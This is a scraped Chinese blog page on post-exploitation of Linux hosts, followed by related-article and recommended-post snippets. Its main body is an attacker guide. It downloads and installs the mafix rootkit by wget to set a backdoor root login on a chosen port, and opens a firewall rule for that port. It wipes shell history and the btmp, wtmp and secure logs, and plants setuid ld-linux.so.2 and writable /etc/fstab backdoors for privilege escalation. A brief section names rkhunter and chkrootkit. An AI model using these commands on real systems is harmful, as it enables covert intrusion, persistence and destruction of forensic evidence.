后渗透篇：linux入侵控制与痕迹清理

(1)开机自动反弹shell

(2)linux后门

Rookit

目前常用的有：t0rn /mafix/enyelkm 等

    
    
    
    

     
     
     
     
mafix rootkit
     
     
     
     
Mafix是一款常用的轻量应用级别Rootkits，是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。
     
     
     
     
URL:http://forum.eviloctal.com/attachment.php?aid=13419
     
     
     
     
安装及使用：
     
     
     
     
wget http://forum.eviloctal.com/attachment.php?aid=13419
     
     
     
     
tar zvxf mafix.tar.gz
     
     
     
     
cd mafix
     
     
     
     
chmod +x root
     
     
     
     
./root pass port
     
     
     
     
 
     
     
     
     
安装完成后，使用ssh 用户@IP -P 配置的端口，即可远程登录。
    
    
    
    

　netstat -tnl 也验证端口是开放的。之前解压文件的目录/home/mafix在编译完后自动消失，便于隐藏。

　现在就可以用root，加上新密码、端口进行登录了，即使管理员改了root的密码也可以登录。

若无法登录，检查Linux的防火墙是否关闭，或者是否把新端口加入iptables中：

iptables -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 端口 -j ACCEPT

痕迹清理

清理命令记录：

(1)仅清理当前用户： history -c

(2)使系统不再保存命令记录：vi /etc/profile，找到HISTSIZE这个值，修改为0

(3)删除记录

    
    
    
    

     
     
     
     
删除登录失败记录：echo > /var/log/btmp
     
     
     
     
删除登录成功记录：echo > /var/log/wtmp （此时执行last命令就会发现没有记录）
     
     
     
     
删除日志记录：echo > /var/log/secure
    
    
    
    

　　

安全检测

Rkhunter

Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序. 它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits. 比如检查rootkits使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等。

Chkrootkit

当然如果只是用Rkhunter检查扫描还是不够权威，再来安装一款检查下吧，chkrootkit 是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。

相关链接

http://www.freebuf.com/articles/network/23665.html

http://www.myhack58.com/Article/html/3/8/2011/29132.htm

http://www.tuicool.com/articles/eIv22az

    
    
    
    

     
     
     
     
http://www.jb51.net/hack/5889.html
     
     
     
     
 
     
     
     
     
方法一：setuid的方法，其实很隐蔽。看看过程:
     
     
     
     
[root@localdomain lib]# ls -l |grep ld-linux
     
     
     
     
　　lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
     
     
     
     
　　lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.2
     
     
     
     
[root@localdomain lib]# chmod s ld-linux.so.2
     
     
     
     
[root@localdomain lib]# ls -l |grep ld-2.7.so
     
     
     
     
　　-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so
     
     
     
     
　　lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so
     
     
     
     
[root@localdomain lib]#
     
     
     
     
我们这里给/lib/ld-linux.so.2这个文件（在FC8里，它指向ld-2.7.so这个文件）加了setuid属性。然后我们看怎么利用它。 
     
     
     
     
 
     
     
     
     
普通用户登录，测试下权限：
     
     
     
     
[xiaoyu@localdomain ~]$ whoami
     
     
     
     
xiaoyu
     
     
     
     
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`
     
     
     
     
root
     
     
     
     
[xiaoyu@localdomain ~]$
     
     
     
     
恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshellbash检查euid 和uid，看是否相等...OK，不多说了。 
     
     
     
     
 
     
     
     
     
方法二：
     
     
     
     
# chmod a w /etc/fstab
     
     
     
     
这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下
     
     
     
     
$ ls -l /etc/fstab
     
     
     
     
　　-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab
     
     
     
     
$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab 
     
     
     
     
 
     
     
     
     
然后从本机把一个文件到目标机器上去，这里我们命名为test
     
     
     
     
$ ls -l test
     
     
     
     
　　-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test
     
     
     
     
$ mount test
     
     
     
     
$ cd /mnt
     
     
     
     
$ ls -l
     
     
     
     
　　total 18
     
     
     
     
　　drwx------ 2 root root 12288 2008-04-20 05:44 lost found
     
     
     
     
　　-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root
     
     
     
     
$ ./root
     
     
     
     
　　sh-3.2#
     
     
     
     
从普通用户提升到root了
    
    
    
    

　　

linux入侵控制与痕迹清理的更多相关文章

1. 给 Linux 系统“减肥”,系统垃圾清理_系统安装与配置管理_Linux Today - Google Chrome

   给 Linux 系统"减肥",系统垃圾清理  2013/10/16  linux  系统安装与配置管理  评论  15,555 Linux 计算机安装后,在我们不断的使用过程中,因 ...

2. linux 终端控制-- 多彩输出 格式排版

   linux 终端控制-- 多彩输出 格式排版 在unix/linux的终端下,怎么控制终端输出的颜色和格式呢,当然了有专门的工具,tput,但是能被terminal直接读懂的格式化字符串更通用. 先来 ...

3. Linux 入侵检测小结

   Linux  入侵检测小结 0x00 审计命令 在linux中有5个用于审计的命令: last:这个命令可用于查看我们系统的成功登录.关机.重启等情况:这个命令就是将/var/log/wtmp文件格式 ...

4. (转)增加定时检测linux占用内存，及时清理功能

   增加定时检测linux占用内存,及时清理功能 原文:http://www.voidcn.com/article/p-wnmannom-boa.html free -m 查看,发现内存跑满了. 再 to ...

5. linux shell 脚本 历史文件清理脚本，按天，按月，清理前N天的历史文件，删除指定大小历史文件，历史文件归档清理

   不知道大家那有没有要清理的这个事情.需要清理目录历史文件.可能后续也会有很多其他地方需要清理历史文件,可能会用到. 我这两天空闲写了个脚本,清理比较方便,有要进行清理的大量历史文件的话可以用. 脚本用 ...

6. (转)linux下控制帐户过期的多种方法

   linux下控制帐户过期的方法:原文:http://blog.51cto.com/oldboy/1289144企业里一般给无人管理的角色账户或开发人员临时需求等可以设定账户有效期,提升安全!法一:添加 ...

7. Linux之入侵痕迹清理总结

   rm -f -r /var/log/*rm .bash_historyrm recently_used

8. WINDOWS之入侵痕迹清理总结

   Windows的日志文件通常有应用程序日志,安全日志.系统日志.DNS服务器日志.FTP日志.WWW日志等等. 应用程序日志文件:%systemroot%\system32\config\AppEve ...

9. linux 服务器下入侵之后的日志清理

   1.web日志的清理:access.log 和auth.log 位置在/var/log/下面. 2.系统日志存放在:/root/.bash_history

随机推荐

1. LintCode StrStr

   1. 讨论目标字符串若为空, 则返回-1: 资源字符串若为空, 则返回-1. 2.讨论目标字符串个数为零, 则返回0: 资源字符串个数为零, 则返回-1. 3. 插入旗帜来使第二循环的结束为有条件地返 ...

2. Mysql中的各种timeout

   在使用MySQL的过程中,你是否遇到了众多让人百思不得其解的Timeout?那么这些Timeout之后,到底是代码问题,还是不为人知的匠心独具?本期Out-man,讲述咱们MySQL DBA自己的Ti ...

3. 管子&小白

   管夷吾已入朝,稽首谢罪,桓公亲手扶起,赐之以坐.夷吾曰:“臣乃俘戮之余,得蒙宥死,实为万幸,敢辱过礼!”桓公曰:“寡人有问于子,子必坐,然后敢请."夷吾再拜就坐. 桓公曰:“齐,千乘之国,先 ...

4. Objective-C(一简介)

   Objective-C简介 通常写作ObjC和较少用的Objective C或Obj-C,是扩充C的面向对象编程语言.它主要使用于Mac OS X和GNUstep这两个使用OpenStep标准的系统, ...

5. 【LeetCode】20. Valid Parentheses

   题目:

6. python正则式

   (|):匹配多个正则表达式模式.at|home 匹配at和home (.):匹配任意一个单个字符.f.o匹配f和o中间任意的字符,如foo,f#o (^ / $ / \b / \B):^从字符串开头开 ...

7. powerdesigner使用之——从“概念模型”到“物理模型”

   现实问题在计算机上的解决,需要我们从现实问题中抽象出实体模型,然后再将实体模型对应到数据库关系表中. 例如,我们在思考学生选课,这件事情上,实体模型就是“学生”和“课程”两个 此时,我们使用power ...

8. House Robber II——Leetcode

   After robbing those houses on that street, the thief has found himself a new place for his thievery ...

9. 【转载】详细解读C#中的 .NET 弱事件模式

   你可能知道,事件处理是内存泄漏的一个常见来源,它由不再使用的对象存留产生,你也许认为它们应该已经被回收了,但不是,并有充分的理由. 在这个短文中(期望如此),我会在 .Net 框架的上下文事件处理中展 ...

10. Java类加载的时机

    类是什么时候初始化的?类初始化的时候会执行static块,这个是我们知道的.那么我们可以用static块来做个实验. 上面代码输出是: hello worldinitthis is a test这说明 ...